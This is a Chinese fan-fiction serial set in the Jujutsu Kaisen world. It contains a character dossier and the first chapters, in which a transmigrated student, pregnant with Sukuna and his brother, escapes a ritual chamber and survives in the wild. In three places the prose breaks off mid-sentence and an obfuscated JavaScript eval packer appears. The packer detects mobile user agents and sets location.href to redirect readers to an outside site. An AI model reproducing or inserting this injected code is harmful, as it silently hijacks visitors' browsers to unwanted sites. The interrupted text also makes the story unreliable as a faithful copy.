《诅咒之王他母亲.第一部》 1. 序章:人物介绍 咒术界异常记录·特级指定「鬼母」:宿观音 “平安京的法则?我的法则就是——拳头说话。” ——于京都郊外祓除三只特级咒灵后的醉酒感言(据当时幸存咒术师回忆,她另一只手还拎着半只烤熟的咒灵翅膀) --- 【基础档案】 ·登记名称:宿观音(非本名,因被宿傩称为“恶鬼老太婆”、宿昶称为“妈咪”而得名) ·时代:平安时代(具体年份不明,约公元十至十一世纪) ·身份背景:原为21世纪女大学生,穿越后成为平安时代孤女,后成为两面宿傩与宿昶的生母及抚养者。 ·危险评级:特级(立场未明·监视中) ·术师类别:古术师/异常个体 --- 【外貌特征】 ·体征:身高178cm,体重68kg,体型高挑矫健,充满力量感。维持约20岁的外貌,但实际年龄成谜。 ·发色与瞳色:独特的粉红色长发,通常编成一条粗大的麻花辫垂于身后。双眼为极具压迫感的赤红色。 ·肤色与纹身:全身呈现健康的蜜蜡色小麦肤色,覆盖着类似佛教经文的复杂黑色纹身,纹路似乎随其情绪或咒力波动而若隐若现。 ·着装:常穿着与后世记载中两面宿傩相似的改良款女士白色和服,便于行动,袖口与下摆常有战斗留下的磨损与深色污渍(疑似血渍或烤肉的油渍)。 --- 【性格与行为模式】 ·表象:大大咧咧,豪爽不羁。嗜好明确:烈酒与烤肉(不介意食材来源,包括某些“可食用”咒灵部位)。行事风格极度粗暴直接,信奉物理超度与暴力破局。 ·深层观察:对认定的“家人”(目前仅限其两子)表现出极强的庇护欲与包容心,采取“放任成长,但随时准备兜底”的养育方式,情感表达直接且充满肢体语言(如拥抱、拍打后脑勺)。对外界则极度缺乏耐心,将大部分非亲缘关系的人类与咒灵均视为“麻烦”,倾向于用最快(最吵)的方式清除。 ·口头禅:“吵死了!”“一拳解决!”“饿了吗?想吃什么?(同时目光可能扫过刚被祓除的咒灵)” --- 【术式与能力解析】(观测记录) ·术式:<斩击> ·表现形态远超常规斩击术式。无需武器,挥手、弹指甚至凝视皆可发动。斩击轨迹、范围、威力完全随心所欲,从微观切割到地图炮式横扫均能实现,疑似对“切割”概念拥有绝对支配权。 ·特点:发动前兆极弱,几乎无咒力外溢,直至攻击降临瞬间才爆发出毁灭性咒力。被其斩击消灭的咒灵,残秽也会被进一步“斩灭”,难以追踪。 ·反转术式: ·掌握极高完成度的反转术式,可瞬间治愈自身重伤,且咒力消耗异常低下,近乎本能。尚未观测到其对他人使用。 ·简易领域:「无间斩刍」 ·并非完整领域,而是将自身斩击术式进行极致的空间性扩散。展开时,以自身为中心一定范围内(半径可变,最大观测记录约百米),空间如同被投入无形搅拌机,所有物质与非物质存在(包括低级领域)都将遭到无数方向不定、强度极高的微细斩击持续“清扫”,直至范围内一切生命反应与非支撑结构消弭殆尽。此状态下,她自身似乎能精准识别并避开需要保护的目标(如其子)。 ·备注:此能力发动时景象极为骇人,被目击者描述为“空间的碎裂与无声的狂啸”。 --- 【亲子观察记录】(内部资料) ·对长子·宿昶(8岁)的评价: “小昶啊,省心,太省心了!功课自己完成,打架知道分寸,还会帮忙收拾那臭小子闯的祸……标准的‘别人家孩子’模板。就是有时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265085|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,安静得过分,也不知道那小脑袋瓜里在想什么。偶尔干出点出乎意料的事,反而让我这当妈的吓一跳……啧,这算不算闷声干大事?” > ——摘自某次酒后与不明对象的絮叨(记录者匿名) ·观察:宿昶对其母指令服从度高,情感依赖内敛。疑似在模仿并学习母亲的某些行为模式,尤其在“保护家人”方面表现出超龄的决断。 ·对次子·两面宿傩(8岁)的评价: “宿傩?哼!独立?那是他自以为的!三天不揍,他能把房子拆了烤着吃!精力旺盛得跟个咒灵似的,打架下手没轻没重……得看着。不过嘛,性子是野,但不怂,像我。就是这‘恶鬼老太婆’的称呼……臭小子皮又痒了!” > ——同上,提及宿傩时音量明显提高,伴有捏拳动作 ·观察:宿傩对其母情感复杂,混合了对抗、敬畏与难以言喻的依赖。其惊人的战斗天赋与破坏欲在母亲“爱的教育”(物理)下得到某种程度的引导与约束。两人互动模式更接近互相挑衅的姐弟。 --- 【总体评估与警告】 宿观音是平安时代骤然出现的极端异常个体。其能力体系粗暴、高效且深不可测,完全颠覆当时咒术界常识。她对现有秩序(无论是人类方还是咒灵方)均无兴趣,行动逻辑几乎完全围绕个人好恶与家庭单元。 潜在威胁极大,但因其对子嗣的重视,暂未表现出毁灭性倾向。建议保持远距离观测,绝对避免冲突。任何试图接触、挑衅或威胁其子的行为,均可能被视为最高级别挑衅,引发无法预测的灾难性后果。 记录员注:她可能真的是这个时代最可怕的“母亲”。毕竟,谁敢招惹一个能随手把特级咒灵串起来烤了下酒,还养出了两个未来会撼动世界的小怪物的女人呢? --- (档案封存:禁绝级 | 仅供总监部高层及特定传承者查阅) 2. 第一章:开局揣两崽 意识像沉在深海底的沥青里,又黏又重。 最先恢复的是嗅觉——一股浓烈到令人作呕的混合气味。血腥味,陈年积灰的霉味,还有某种类似腐肉和劣质香料焚烧后残留的甜腻焦臭。 “靠……什么味儿……宿舍楼下化Fen池炸了吗……” 宿观音——或者说,属于二十一世纪某女大学生的意识碎片,在混沌中本能地冒出这句吐槽。 紧接着,触觉苏醒了。 冷。 不是普通的冷,是那种浸入骨髓、贴着石头地面的阴冷。四肢百骸都沉甸甸的,动弹不得,像是被无形的枷锁捆着。但奇怪的是,小腹部位却传来一阵持续的、温热的……鼓胀感? 她努力睁开眼,听觉也回来了。寂静。死一般的寂静。 但在这绝对的寂静深处,似乎又有一些极其微弱的、令人极度不舒服的窸窣声,像是无数细小的虫足在爬行,又像是某种粘稠液体在缓慢滴落。 “我在哪?我不是在图书馆肝论文吗……通宵过头了?低血糖晕了?” “什么情况……”我挣扎着坐起来,低头看了看自己。 白色和服。我抬起手——手指修长,皮肤是健康的小麦色,上面布满黑色的纹路,像某种古老的经文,从手腕一直蔓延到手臂,消失在袖口里。 这不是我的手。我在图书馆的手,因为长期敲键盘,食指关节有个小小的茧。 更诡异的是,这些纹身在发光。(os:酷!!!) 准确说,是在呼吸。随着我的心跳,那些黑色线条明暗交替,像有生命一样在皮肤下流动。 纷乱的思绪试图拼凑出一个合理的解释,但涌入脑海的却不是熟悉的书架和电脑屏幕,而是一些极其诡异的碎片—— 昏暗摇曳的烛火,映照着绘满扭曲符文的墙壁。 几个穿着古怪、面容模糊的人影,正围绕着什么举行仪式,低声吟诵着晦涩的音节。 一种被剥离、被抽空、被强行塞入狭窄容器的剧烈撕扯感…… 最后,是某个嘶哑声音带着狂喜的宣告: “……完美的‘器’……承载‘诅咒之种’……待其孕育成熟,剥离……吾等将获得前所未有的……” “器”?“诅咒之种”?孕育? 宿观音猛地一个激灵,那股小腹的鼓胀感突然变得无比清晰,甚至……微微动了一下。 “卧槽!!!” 这一吓,身体里不知哪来的一股力气,她终于猛地睁开了眼睛。 视线模糊了几秒才聚焦。 映入眼帘的,是一个类似地下洞穴或密室的空间,极其昏暗。唯一的光源来自墙壁上几盏飘着诡异青绿色火苗的油灯,非但没带来暖意,反而把周围映照得鬼气森森。 她正躺在一个……勉强能称之为“石台”的东西上。身下垫着粗糙的、浸着暗红污渍的布。 环顾四周,地面用深红色的、已经干涸发黑的液体画出了一个巨大而复杂的阵法图案,她正位于阵眼中心。空气里那些甜腻的焦臭味,似乎就是从阵法线条上散发出来的。 而她自己…… 宿观音艰难地、一寸寸地低下头。 首先看到的是一身素白、但此刻沾了不少污迹的古代服饰,样式有点眼熟,但一时想不起在哪见过。衣服布料下,她的身体轮廓…… 小腹的位置,明显隆起了一个不容忽视的弧度。 “……” 时间仿佛静止了。 宿观音呆呆地看着自己凸起的肚子,大脑一片空白。论文?图书馆?熬夜?那些属于现代生活的记忆碎片,在这个过于惊悚的现实面前,像被重锤砸中的玻璃一样,稀里哗啦碎了个干净。 她,一个昨天还在为ddl焦头烂额、母胎solo的女大学生,现在躺在一个疑似邪教祭祀现场的地方,肚子里揣了个……货? “不可能……这梦也太离谱了……”她喃喃自语,声音干涩沙哑,完全不像自己的,“快醒醒,快醒醒……这比高数挂科还恐怖……” 她试图抬起手掐自己一把,但手臂沉重得不听使唤,只有手指微微颤动了一下。就在她奋力挣扎时,先前听到的那种微弱的窸窣声突然变大了。 借着昏暗的灯光,她看到石台周围,阵法线条的边缘,土壤似乎在微微蠕动。紧接着,几条黏糊糊、半透明、像是放大了无数倍的蛞蝓,又像是没有皮肤的指节般的东西,从地里缓缓“生长”出来,顶端裂开一道缝隙,露出里面细密蠕动的口器,朝着石台——准确地说是朝着她隆起的腹部——缓缓探来。 一股凉气瞬间从尾椎骨窜上天灵盖! 那不是害怕,是一种混杂着极度恶心和本能警觉的炸毛感。 “这他妈什么玩意儿?!”她心里狂吼。 那些东西散发着比周围环境更浓烈的恶意和秽浊气息,让她浑身的汗毛都立了起来。同时,一种更深层、更隐晦的“认知”,像是随着这具身体一同打包塞给她的说明书片段,突然浮现在脑海: ……此身为聚合怨念与咒力捏造之“傀儡身”,无魂无魄,乃最佳“温床”……植入“诅咒之种”……待其汲取母体与外界怨秽滋养成熟,便可收获至邪之诅咒…… 傀身?温床?诅咒之种?? 宿观音瞬间明白了。她不是魂穿到什么倒霉孤女身上,她是穿进了一个被邪恶术师专门制造出来的、用来“孵化”某种恐怖诅咒的工具人□□里! 肚子里那俩(感知告诉她,好像是两个)不是什么正常胎儿,是TM被当成“诅咒之种”塞进来的! “淦!这是哪个品种的变态想出来的缺德法子?!”怒火“噌”地一下冲了上来,压过了最初的恐惧和茫然。 她平生最恨两件事,一是打扰她睡觉,二是把她当工具人使唤。 现在好,全占了,还附赠一个“人体培养皿”的恐怖套餐。 眼看着那几条恶心的咒灵(她脑子里自动蹦出了这个词)触手快要碰到她的肚子,那股温热的鼓胀感再次传来,这次更加明显,甚至能感觉到里面小小的生命在不安地动弹。 “唔……”她闷哼一声,说不清是生理上的不适,还是心理上受到的冲击。 就在这一刻,一种极其原始、完全不受理智控制的情感,猛地攥住了她的心脏。 那是……保护欲。 汹涌,磅礴,不讲道理。 管它什么“诅咒之种”,管它这身体是不是人造的,现在住在里面的是她宿观音的意识,在她肚子里动来动去、跟她共享心跳和体温的,就是她的崽! 谁TM敢碰一下试试?! “滚!!!” 沙哑的喉咙里爆出一声低吼,积攒的所有力气随着怒意一同迸发。不知是这具身体本身蕴含的某种力量被她的意志激活,还是绝境下的潜能爆发,她感觉四肢的沉重枷锁“咔”地出现了裂痕。 最靠近的一条咒灵触手已经碰到了她的衣摆,粘液在上面腐蚀出轻微的嗞嗞声。 宿观音眼睛瞬间红了——气的。 她没学过任何格斗,但人急了什么干不出来?她猛地一扭腰,被阵法束缚的右手竟然硬生生抬起了一小截,然后不管不顾,用尽全身力气,狠狠一巴掌拍在了那条触手上! “啪叽!” 手感诡异,像拍中了一坨冰冷的烂泥。 然而,预料中触手缠绕或者反噬的情况并没有发生。 那条恶心的触手,在她手掌接触的瞬间,仿佛被无形的利刃划过,又像是内部结构被某种暴力的力量瞬间搅碎,连惨叫(如果有的话)都没发出,就“噗”地一声,化作一小滩迅速消散的黑气,只留下几滴粘液证明它曾经存在过。 宿观音:“……?” 她看看自己只是沾了点污迹、毫发无伤的手掌,又看看那滩迅速消失的黑气,愣住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们俩,吓到了吧?”她低头,声音不自觉地放软了些,带着点咬牙切齿的温柔,“放心,有我在,以后谁也别想拿你们当什么‘诅咒’原料。” 她环视这个阴森可怖的密室,目光扫过那些诡异的符文和阵法。 “这地方不能待了。谁知道那些变态什么时候回来。”她迅速做出判断,“得出去。” 目光落在密室一角一个向上延伸的石阶上,那里隐约透出一点自然光,应该是出口。 宿观音深吸一口气,感受着这具陌生又强大的身体里缓缓流动的奇异力量(咒力?),以及腹部传来的、与她紧密相连的两道小小生机。 开局是地狱难没错,一睁眼就是邪教祭品+孕妇+怪物环绕。 但是…… 她拍了拍肚子,脸上露出一个混合着匪气、无奈和初生牛犊不怕虎的凶狠笑容。 “行吧,穿越就穿越,当妈就当妈。反正论文是肝不完的,换个世界肝崽也行。” “从今天起,老娘就是宿观音了。管他什么平安时代,咒灵横行。” “谁敢动我肚子里的崽——” 她握了握拳头,指节发出轻微的脆响,眼中红光微闪。 “老娘就把他,连同他祖宗十八代,一起‘咔嚓’了,切得碎碎的,拼都拼不回来那种。” 说完,她不再看这令人作呕的密室,挺着还不算太沉重的肚子,迈开步子,有些蹒跚但异常坚定地,朝着那缕微光走去。 属于“鬼母”宿观音的平安京生存法则,第一条,在她踏出这囚笼般的密室时,已然确立: 暴力或许不能解决所有问题,但足以扫平眼前一切碍事的玩意儿。尤其是,当这些问题威胁到她家崽的时候。 身后,密室的阴影里,似乎传来一声极其轻微、充满不甘的嘶鸣,最终归于沉寂。 3. 第二章 :山洞安家与食物 一把火把那鬼气森森的密室烧了个干干净净。 宿观音站在不远处的山坡上,看着冲天的黑烟混杂着青绿色的诡异火光,心里那口憋屈气总算顺了点。 “毁尸灭迹,讲究。”她拍拍手上的灰,虽然那火似乎是她用某种“意念”配合着指尖一弹就点起来的——这身体自带的能力还真是方便得有点离谱。 肚子适时地发出“咕噜”一声长鸣,声音在空旷的山林里格外清晰。 “知道了知道了,这就给你俩找吃的。”她无奈地低头对着肚子说,“急什么,你妈我比你们还饿。” 穿越成孕妇,还是双胞胎孕妇,这体验真是绝了。刚才在密室里精神紧绷还没觉得,现在危机暂时解除,一种掏心掏肺的饥饿感和深深的疲惫感就涌了上来。她知道,这不仅仅是自己饿,更是肚子里两个小东西在疯狂汲取营养。 拖着略感沉重的身体,她开始打量周围的环境。这里似乎是某座山的深处,林木茂密,人迹罕至。空气倒是比那密室清新百倍,带着泥土和植物的气息。刚才出来时顺手卷走的几床发霉兽皮和几个破陶罐,用找到的绳子捆了背在背上。 得先找个落脚的地方。露宿荒野?别开玩笑了,她现在是重点保护动物(自封的)。 眯起赤红的眼睛四下搜寻,结合脑子里那些混乱的、属于原主(或者说这具傀身)残留的模糊记忆,以及她自己在农村长大的经验,很快锁定了一处背风的山壁。那里藤蔓垂挂,隐约能看到一个黑黢黢的洞口。 “就那儿了。” 深一脚浅一脚地走过去,扒开藤蔓,里面果然是个不大不小的天然山洞。大概有十几平米,还算干燥,就是有点脏,角落里堆着些枯枝败叶和动物骸骨,气味不太好。 “比那邪门密室强。”宿观音还算满意。她放下背上的“家当”,活动了一下有些酸疼的腰肢。 “首先,得让这儿能住人。” 她挽起那身白色和服过于宽大的袖子(心里吐槽这衣服打架干活都不方便,得空得改改),露出蜜蜡色皮肤上那些神秘的黑色纹身。纹身在昏暗的山洞里似乎流转着微光。 清理工作对她现在这具身体来说不算太难。那些看似沉重的石块,她用力一推就能挪开;碍事的枯枝,随手一折就断。没有扫帚,她就用较为平整的石片当铲子,把垃圾一点点推出洞口。遇到角落里的蜘蛛网和小虫,她下意识地皱眉,然后……指尖微微一划,无形的“斩击”掠过,蛛网和虫子瞬间消失,连灰尘都被切得平整了些。 “……” 看着干净得过分的角落,宿观音沉默了两秒,“这能力……用来做大扫除是不是有点杀鸡用牛刀?” 不过方便是真方便。她甚至能用细微的斩击把洞壁凹凸不平的地方修整得稍微齐整点,还顺便“切”出了几个可以当架子或凳子的石台。 忙活了大概一个多小时,山洞总算焕然一新。虽然还是简陋得可以,但至少空气流通了,地面平整干燥了,没有奇怪的东西了。 接下来是处理那些“战利品”。兽皮味道很大,她在洞口附近找到一小股山泉,费力地把厚重的兽皮拖过去,用石头压着浸泡、搓洗。水很凉,但她的手掌似乎并不太怕冷。反复洗了几遍,直到那股霉味和隐约的血腥味淡去,才拧干(力气大就是好拧),摊开在洞外阳光能晒到的干净大石头上。 几个陶罐也仔细清洗干净,其中一个有裂纹的,她想了想,没扔,说不定能种点啥。 做完这些,她靠坐在洞口一块相对平滑的石头上,喘了口气。阳光照在身上,暖洋洋的,驱散了地下带来的阴寒。肚子里的小家伙们似乎也安分了些。 趁着休息,她开始整理脑子里那些纷乱的“知识”。 密室里的阵法、咒灵、咒力、傀身、诅咒之种……这些概念,不知怎么的,竟然和她前世看过的一部叫做《咒术回战》的漫画设定高度重合。 “所以……我这是穿进漫画里了?还是平安京版本的?”宿观音挠了挠头,粉色的麻花辫有些松散,“宿傩……好像是个不得了的反派BOSS?还有他兄弟?所以我肚子里这俩……就是未来能把咒术界搅得天翻地覆的诅咒之王兄弟?” 这认知让她心情有点复杂。一方面觉得离谱他妈给离谱开门——离谱到家了;另一方面,又有一种诡异的“果然如此”感。毕竟开局就这么刺激,崽的来历不普通点好像都说不过去。 “算了,既来之则安之。”她很快把这点纠结抛到脑后,“漫画是漫画,现在是现在。管他以后是诅咒之王还是救世主,现在都是我宿观音的崽。谁敢说他们是诅咒,老娘先把他咒成八段。” 这就是她的性格,天大的事,只要接受了设定,就能用最朴素的价值观去处理——护短,并且用拳头贯彻到底。 当务之急,还是生存问题。尤其是食物。 她又摸了摸咕咕叫的肚子,愁眉苦脸。这荒山野岭的,上哪儿找适合孕妇吃的东西?野果?不认识,怕有毒。野菜?也得认识才行。至于打猎……她看了看自己的手,刚才清理山洞展现了力量,但主动去猎杀动物,还是有点心理障碍。而且,血腥味会不会引来别的麻烦? “总不能真去吃咒灵吧?”她想起密室那些恶心的触手,一阵反胃。虽然这身体好像不排斥咒力,甚至能利用,但把那种东西当食物……心理上实在过不去。再说,吃了对崽好不好啊?别整出什么变异来。 就在她对着夕阳发愁,考虑是不是先摘点看起来最人畜无害的野果充饥时—— “哼哧!哼哧!” 沉重的脚步声和粗重的鼻息从侧面的树林里传来。 宿观音瞬间警觉,赤红的瞳孔转向声音来源,身体微微绷紧,手下意识地护住腹部。 树丛哗啦一声被粗暴地撞开,一个黑乎乎、壮硕的身影冲了出来。 好家伙!一头野猪! 这野猪个头不小,目测有两三百斤,一身黑硬的鬃毛,嘴上两根弯弯的獠牙在夕阳下闪着寒光。小眼睛泛着凶光,直勾勾地盯着……她晾在石头上的、还在滴水的兽皮?还是她这个坐在洞口看起来像“守株待兔”的活物? 野猪显然也发现了她,前蹄刨了刨地,鼻息更重了,低下头,獠牙对准了她的方向,一副准备冲锋的架势。 宿观音:“……” 她看看野猪,看看自己饿得扁扁的肚子,又看看野猪那身结实的腱子肉。 内心的挣扎只持续了零点一秒。 去他的心理障碍!去他的血腥味!这简直是老天爷(或者这个世界的某种恶意)送上门的外卖!还是热气腾腾、纯天然、高蛋白的那种! “行啊,”宿观音慢慢站了起来,拍了拍身上的草屑,嘴角勾起一个有点狰狞的弧度,“正愁没开荤,你就自己送来了。看来这平安京的外卖服务,挺野性啊。” 野猪可听不懂她的调侃,只感觉这个两脚兽非但不逃跑,还敢站起来,简直是挑衅!它后腿一蹬,嗷嗷叫着,像一辆小型坦克般猛冲过来,獠牙直刺宿观音的腹部——它倒是会挑地方! “敢瞄我肚子?!”宿观音眼神一厉,那点因为要杀生而残存的犹豫瞬间被怒火烧光。 她没有躲闪。 就在野猪冲到她面前两三米,獠牙几乎要碰到她衣襟的瞬间,她动了。 不是大幅度的动作,只是右手并指如刀,迎着野猪冲来的方向,看似随意地横向一挥。 动作轻飘飘的,没有风声,没有光影特效。 但—— 狂奔的野猪仿佛撞上了一堵无形的、布满锋利锯齿的墙壁。 冲锋的势头戛然而止。 它那庞大的身躯,从鼻尖开始,出现了一道平滑至极的切面。紧接着,切面迅速向后延伸,穿过坚韧的皮肉、坚硬的骨骼、沸腾的内脏…… 整个过程快得仿佛时间被偷走了一帧。 野猪甚至没来得及发出完整的惨叫,只是喉咙里“咕噜”一声,冲锋的惯性让它被切开的身体又向前冲了一小段,然后才轰然向两侧分开,倒在地上。 切口光滑如镜,连喷溅的血液都在最初的一刹那被某种力量约束,然后才汩汩流出,浸润了地上的泥土。 场面一度十分安静。 宿观音保持着挥手的姿势,眨了眨眼。 她知道自己的“斩击”很强,但强到这种程度,还是有点出乎意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肉烤好了,外层微焦,里面鲜嫩。没有盐,没有任何调料,但对她这个饥肠辘辘的孕妇来说,简直是天下第一美味。她顾不上烫,吹了吹就咬了一大口。 浓郁的肉汁在口中爆开,滚烫,粗糙,但无比充实。 “呜……活过来了……”她眯起眼睛,几乎要感动落泪。这一刻,什么穿越,什么诅咒,什么未来BOSS,都被抛到了九霄云外。填饱肚子,活下去,保护好崽,就是最重要的。 吃了大半块肉,强烈的饥饿感才稍稍缓解。她把剩下的烤肉小心放好,留着明天吃。又用洗净的陶罐装了山泉水,架在火堆余烬上烧热。 坐在重新铺了干燥树叶和晾过的兽皮(还有点潮,但勉强能用)的“床铺”上,捧着温热的水罐,宿观音望着洞外璀璨的星空,长长舒了口气。 第一天,总算熬过去了。 有了暂时的容身之所,解决了迫在眉睫的食物问题(虽然来源有点暴力),还初步熟悉了这具身体的力量。 前路依然未知,危险肯定少不了。那些制造这具傀身的术师会不会找来?这山林里还有没有更诡异的东西?平安时代的普通人社会又是什么样子? 但看着身边储备的食物,摸着温暖的小腹,感受着体内流动的、足以自保的力量,宿观音心里踏实了不少。 “不管了,兵来将挡,水来土掩。”她躺下来,兽皮虽然粗糙,却比冰冷的石台好太多,“来一个揍一个,来两个揍一双。敢动我崽的,统统切了。” 火光映照着她脸上逐渐舒展的纹路,也映照着那双赤瞳中坚定又带着点野蛮生机的光芒。 平安京的夜,还很漫长。 但至少这个小小的山洞里,有了一点温暖的光,和一个决心用暴力为崽开辟未来的母亲。 她打了个哈欠,在肚子轻微的胎动和篝火细微的噼啪声中,沉沉睡去。明天,还有更多的事情要做呢。比如,试试看能不能用斩击削几双筷子,或者做个碗什么的…… 山洞外,夜风拂过林梢,仿佛也带上了一丝不同于以往的、生机勃勃的气息。 4. 第三章:荒野求生 清晨的第一缕阳光,透过山洞口的藤蔓缝隙,精准地落在宿观音脸上。 她皱着眉,嘟囔了一句“谁拉的窗帘……”,习惯性地想翻身把脸埋进枕头里,却摸到了一手粗糙的兽皮和干燥的树叶。 意识瞬间回笼。 哦对,穿越了,在山洞,孕妇,昨天砍了头野猪。 她睁开眼,赤红色的瞳孔适应了一下光线。肚子沉甸甸的感觉比昨天更明显了,而且……有点饿。 “你俩是闹钟成精吗?这么准时。”她无奈地拍了拍肚皮,里面立刻传来一阵轻微的、像是小鱼吐泡泡似的动静作为回应。 宿观音坐起身,感觉腰背有些酸。六个月双胎,这负担确实不轻。她活动了一下四肢,发现除了饥饿和正常的孕期疲劳,身体状态竟然意外的好,昨天使用能力后的那种隐约虚脱感完全消失了,甚至精力还挺充沛。 “这傀身质量不错啊,续航可以。”她嘀咕着,开始盘算今天要做的事情。 首要任务:改善生活条件。昨天是生存,今天得向“生活”迈进一小步。 她先把昨晚剩的烤肉用山泉水稍微洗了洗(没冰箱就是不方便),重新架在还有余温的火堆灰烬上烘热。趁着热肉的工夫,她走出山洞。 清晨的山林空气清冽,带着露水和草木的芬芳,比浑浊的密室和只有烟火气的山洞好闻太多。她伸了个大大的懒腰,粉色的麻花辫在脑后晃了晃。 “首先,得搞点容器和工具。”她环顾四周,“总不能老用手抓着吃,或者用叶子包。” 目光落在昨天清洗兽皮的那片山泉附近。那里有一些被水流冲刷得比较圆润的石头,还有几棵枯死的树。 宿观音走过去,捡起一块大小合适、质地坚硬的青灰色石头。她并指如刀,指尖萦绕着极其精细控制的咒力,开始“雕刻”。 想象中自己像玉雕大师一样优雅操作的画面并没有出现。第一次尝试,“斩击”的力度没控制好,石头“噗”一声直接裂成了均匀的两半,切面倒是光滑得像镜子。 “……好吧,先从简单的来。”她捡起其中较平的一块,这次更加小心翼翼,用意念约束着那股锋锐的力量,像用最精密的激光切割机,沿着石头边缘慢慢“削”。 过程有点枯燥,需要极高的专注力。但渐渐地,她找到了感觉。咒力的输出变得如臂使指,细微的调整都能反馈到“切割”效果上。 半个时辰后,她手里多了一个……嗯,姑且称之为“石碗”的东西。外形不规则,边缘有点厚,内壁不算特别光滑,但足够深,能稳稳立住,最重要的是,不漏水! “成功了!”宿观音举起自己的第一个手工作品,颇有成就感。虽然丑了点,但实用啊! 有了经验,后面就顺利多了。她又做了几个大小不一的石碗,一个浅口的石盘,甚至尝试着用粗树枝和更细致的“切割”,弄出了两双勉强能看出是筷子形状的细木棍。 “完美!告别手抓饭时代!”她满意地看着自己的劳动成果。虽然这些家当摆在一起,颇有原始人遗址的风格,但对她而言已经是质的飞跃。 接着是水源问题。老去山泉边打水不方便。她找了一个内壁相对光滑、形状接近壶的大型石块,费了更大的劲,硬生生“掏”出了一个石缸,还在侧面弄了个便于手提的凹陷。来回几趟,把石缸装满水,放在山洞里阴凉处。 “要是能烧陶就好了……”她看着那个有裂纹的陶罐,有点遗憾。不过饭要一口一口吃。 忙完这些,烤肉也热好了。用新做的石碗装着水,用“筷子”夹着肉,虽然别扭,但宿观音吃得津津有味,终于有了点“用餐”而非“进食”的感觉。 肚子里的小家伙们似乎也感受到了母亲愉悦的心情,动得比之前更活泼了些。宿观音一边吃,一边忍不住把手放在肚皮上,感受那奇妙的、充满生命力的律动。 “左边这个踢得有力点……右边这个好像在翻身?”她试图分辨,“啧,也不知道哪个是宿昶,哪个是宿傩……按漫画,宿傩应该是弟弟?那这么活泼的是弟弟?不对啊,漫画里宿傩狂霸酷拽,小时候应该高冷点?这个踢来踢去的……难道是闷骚?” 她开始脑补两个崽的性格,越想越觉得有趣。前世看漫画只觉得角色设定带感,现在成了亲妈,感觉完全不一样了。 “不管了,反正都是我崽。爱动好,健康。”她吃完最后一块肉,满足地喝了口水。肉类提供的能量很足,她感觉体力恢复了大半。 下午,她决定扩大探索范围。一是熟悉周边环境,寻找更多可利用的资源;二是看看有没有其他隐患,比如……昨天那密室有没有同党在附近晃悠。 她带上自制的“工具”——一块边缘被她用斩击修得异常锋利的薄石片,权当防身兼砍刀,小心翼翼地以山洞为中心向外探索。 山林比她想象中更茂密,也更……“热闹”。 这里的“热闹”,并非鸟语花香那种。没走多远,她就看到一团仿佛由腐烂树叶和淤泥构成、不断滴落粘液的矮小咒灵,正趴在一棵病恹恹的树上,吸食着什么。 远处灌木丛后,隐约有数只拳头大小、眼睛猩红、长着蚊子口器的飞虫状咒灵在盘旋。 “好家伙,这咒灵浓度是不是有点高?”宿观音屏住呼吸,收敛自身气息(她发现这似乎是一种本能),仔细观察。 这些咒灵看起来都不强,至少给她的感觉远不如密室里的触手,甚至不如昨天的野猪有威胁。 它们更像是环境中负面情绪自然沉淀、滋生出来的低等存在,浑浑噩噩,遵循着吞噬与被吞噬的本能。 “这就是平安时代的日常生态?”她想起漫画设定里,这个时代咒灵横行,普通人生活在恐惧中。现在看来,果然不假。山林深处尚且如此,人类聚居地附近恐怕更甚。 她没有主动去招惹这些咒灵。一来,不想无谓消耗体力,也没兴趣拿它们加餐(看着就倒胃口);二来,她隐隐觉得,过早暴露自己的能力,尤其是在可能存在的“制造者”眼皮底下,不是明智之举。 她像个老练的野外生存者(感谢农村经历和爷爷奶奶的教导),辨认着可食用的植物。找到几丛熟悉的蕨菜(嫩芽可以吃),一片野葱,甚至还发现了几棵挂着青色小果子的灌木,尝了一颗,酸涩但无毒,可以补充维生素。 就在她采集了一些野菜,准备折返时,耳朵忽然捕捉到一丝不同寻常的声音。 不是咒灵的窸窣,也不是动物的奔跑。 是……人声?还有金属碰撞的轻微响声?以及,一种令人极度不舒服的、压抑的哭泣和哀求? 声音从更下方的山谷方向传来,被山风和树木遮挡,极其微弱,但宿观音现在的五感似乎异常敏锐。 她心头一跳,下意识地护住肚子,躲到一块巨大的岩石后面,凝神倾听。 “……求求你们……放过我的孩子……粮食都给你们……” 是一个女人带着哭腔的、绝望的声音,说的是日语,但宿观音发现自己居然能听懂(大概是傀身自带语言包?)。 “闭嘴!贱民!能被献祭给‘山神大人’,是你们全家的荣幸!” 一个粗嘎的男声不耐烦地呵斥。 “动作快点!天黑前要把祭品送到地方!” 另一个稍显阴沉的声音催促。 “嘿嘿,这小丫头细皮嫩肉的,‘山神大人’一定喜欢……” 献祭?山神?祭品? 宿观音的眉头拧紧了。结合刚才看到的低等咒灵,她瞬间明白了大概。这所谓的“山神”,八成是盘踞在某处的、比较强大的咒灵,而这些人,要么是被迫,要么是主动,在给那东西上供活人祭品! 她握紧了手中的石片,指节微微发白。 理智告诉她:别多管闲事。你自身难保,还是个孕妇,肚子里的崽来历特殊,最好低调再低调。这世道悲惨的事多了去了,你管不过来。 但情感上,一股无名火直冲头顶。尤其是听到“孩子”、“小丫头”这些词。 